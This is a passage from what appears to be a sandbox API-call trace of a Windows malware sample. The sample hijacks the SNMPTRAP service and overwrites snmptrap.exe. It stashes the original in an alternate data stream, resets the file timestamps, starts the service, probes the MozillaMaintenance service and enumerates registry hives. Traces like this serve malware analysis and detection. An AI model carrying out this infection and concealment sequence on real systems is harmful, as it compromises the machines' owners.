lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.157] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.157] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.157] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.157] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.158] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.158] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.158] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.158] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.158] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.158] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.158] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.158] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\System32\\snmptrap.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x22 [0251.158] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\System32\\snmptrap.exe", lpDst=0x1de4528, nSize=0x22 | out: lpDst="C:\\Windows\\System32\\snmptrap.exe") returned 0x21 [0251.158] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\snmptrap.exe", cbData=0x21 | out: lpData="C:\\Windows\\System32\\snmptrap.exe") returned 0x0 [0251.158] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c78) returned 1 [0251.158] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4528) returned 1 [0251.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1de4570, cbMultiByte=32, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 32 [0251.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1de4570, cbMultiByte=32, lpWideCharStr=0x1de5e18, cchWideChar=32 | out: lpWideCharStr="C:\\Windows\\System32\\snmptrap.exe") returned 32 [0251.158] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\snmptrap.exe", pNumArgs=0x18fb80 | out: pNumArgs=0x18fb80) returned 0x5d3a08*="C:\\Windows\\System32\\snmptrap.exe" [0251.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d678 [0251.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4b8 [0251.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0251.159] LocalFree (hMem=0x5d3a08) returned 0x0 [0251.159] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5f28) returned 1 [0251.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\snmptrap.exe", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0251.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4528 [0251.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\snmptrap.exe", cchWideChar=32, lpMultiByteStr=0x1de4528, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\System32\\snmptrap.exe", lpUsedDefaultChar=0x0) returned 32 [0251.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c78 [0251.159] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4528) returned 1 [0251.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d648 [0251.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d308 [0251.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4528 [0251.159] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c78) returned 1 [0251.159] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0251.159] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4b8) returned 1 [0251.159] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d678) returned 1 [0251.159] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0251.159] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2f8) returned 1 [0251.159] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d630) returned 1 [0251.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d630 [0251.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2f8 [0251.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0251.159] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4528) returned 1 [0251.159] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d308) returned 1 [0251.159] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d648) returned 1 [0251.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4528 [0251.159] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\snmptrap.exe", cbData=0x21 | out: lpData="C:\\Windows\\System32\\snmptrap.exe") returned 0x0 [0251.159] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4528) returned 1 [0251.159] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4570) returned 1 [0251.159] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="SNMPTRAP", dwDesiredAccess=0x2) returned 0x5d6d08 [0251.183] ChangeServiceConfigW (in: hService=0x5d6d08, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0251.862] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0251.863] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0251.863] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d258) returned 1 [0251.863] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d660) returned 1 [0251.863] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0251.863] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2f8) returned 1 [0251.863] RegCloseKey (hKey=0x154) returned 0x0 [0251.863] RegCloseKey (hKey=0xc8) returned 0x0 [0251.863] CreateFileW (lpFileName="C:\\Windows\\System32\\snmptrap.exe" (normalized: "c:\\windows\\system32\\snmptrap.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0251.863] GetLastError () returned 0x5 [0251.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0251.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0251.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de6e98 [0251.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0251.875] NtClose (Handle=0xc8) returned 0x0 [0252.356] NtClose (Handle=0xc8) returned 0x0 [0252.663] CreateFileW (lpFileName="C:\\Windows\\System32\\snmptrap.exe" (normalized: "c:\\windows\\system32\\snmptrap.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0252.663] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0252.663] GetFileSize (in: hFile=0x160, lpFileSizeHigh=0x18fc18 | out: lpFileSizeHigh=0x18fc18*=0x0) returned 0x3800 [0252.663] SetFilePointer (in: hFile=0x160, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc24*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fc24*=0) returned 0x0 [0252.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3800) returned 0x1de6e98 [0252.663] ReadFile (in: hFile=0x160, lpBuffer=0x1de6e98, nNumberOfBytesToRead=0x3800, lpNumberOfBytesRead=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1de6e98*, lpNumberOfBytesRead=0x18fc58*=0x3800, lpOverlapped=0x0) returned 1 [0252.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3800) returned 0x1dea6a0 [0252.665] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0252.665] SetFilePointer (in: hFile=0x160, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fc48*=0) returned 0x0 [0252.665] WriteFile (in: hFile=0x160, lpBuffer=0x1e00ea0*, nNumberOfBytesToWrite=0x27000, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1e00ea0*, lpNumberOfBytesWritten=0x18fc58*=0x27000, lpOverlapped=0x0) returned 1 [0252.668] SetEndOfFile (hFile=0x160) returned 1 [0252.668] GetFileTime (in: hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c*(dwLowDateTime=0xf5355500, dwHighDateTime=0x1ca0423)) returned 1 [0252.668] FileTimeToSystemTime (in: lpFileTime=0x18fc6c, lpSystemTime=0x18fc98 | out: lpSystemTime=0x18fc98) returned 1 [0252.668] SystemTimeToFileTime (in: lpSystemTime=0x18fc98, lpFileTime=0x18fc6c | out: lpFileTime=0x18fc6c) returned 1 [0252.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0252.668] NtClose (Handle=0x160) returned 0x0 [0252.668] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\snmptrap.exe:0" (normalized: "c:\\windows\\system32\\snmptrap.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0xd, ftCreationTime.dwLowDateTime=0x246dd, ftCreationTime.dwHighDateTime=0x18fc24, ftLastAccessTime.dwLowDateTime=0x77590a45, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x18fcc0)) returned 0 [0252.668] GetLastError () returned 0x2 [0252.668] CreateFileW (lpFileName="C:\\Windows\\System32\\snmptrap.exe:0" (normalized: "c:\\windows\\system32\\snmptrap.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0252.669] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0252.669] WriteFile (in: hFile=0x160, lpBuffer=0x1dea6a0*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1dea6a0*, lpNumberOfBytesWritten=0x18fc58*=0x3800, lpOverlapped=0x0) returned 1 [0252.670] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0252.670] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c) returned 1 [0252.670] NtClose (Handle=0x160) returned 0x0 [0252.670] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="SNMPTRAP", dwDesiredAccess=0x10) returned 0x5d6df8 [0252.670] StartServiceW (hService=0x5d6df8, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0253.844] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0253.845] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0253.845] GetLastError () returned 0x6 [0253.845] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dea6a0) returned 1 [0253.845] CryptAcquireContextW (in: phProv=0x18fc2c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc2c*=0x5d3ac0) returned 1 [0253.846] CryptGenRandom (in: hProv=0x5d3ac0, dwLen=0x4, pbBuffer=0x18fc40 | out: pbBuffer=0x18fc40) returned 1 [0253.846] CryptReleaseContext (hProv=0x5d3ac0, dwFlags=0x0) returned 1 [0253.846] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="MozillaMaintenance", dwDesiredAccess=0x20) returned 0x5d6d08 [0253.846] ControlService (in: hService=0x5d6d08, dwControl=0x1, lpServiceStatus=0x18fb90 | out: lpServiceStatus=0x18fb90*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0253.847] GetLastError () returned 0x426 [0253.847] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0253.847] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0253.847] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de43c0 [0253.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0253.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x280) returned 0x1dd29e0 [0253.848] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.848] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1de4768, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0253.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.848] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.848] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.848] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.848] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0253.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.849] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.849] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.849] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.849] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1de4768, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0253.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.849] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.849] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.849] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.849] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0253.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.849] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.849] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.849] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.849] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.849] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.849] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.849] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.849] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1de44e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0253.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.850] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.850] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.850] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.850] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0253.850] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.850] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1de4768, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0253.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.850] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.850] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.850] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.850] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1de44e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0253.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.850] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.850] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.850] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.850] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, 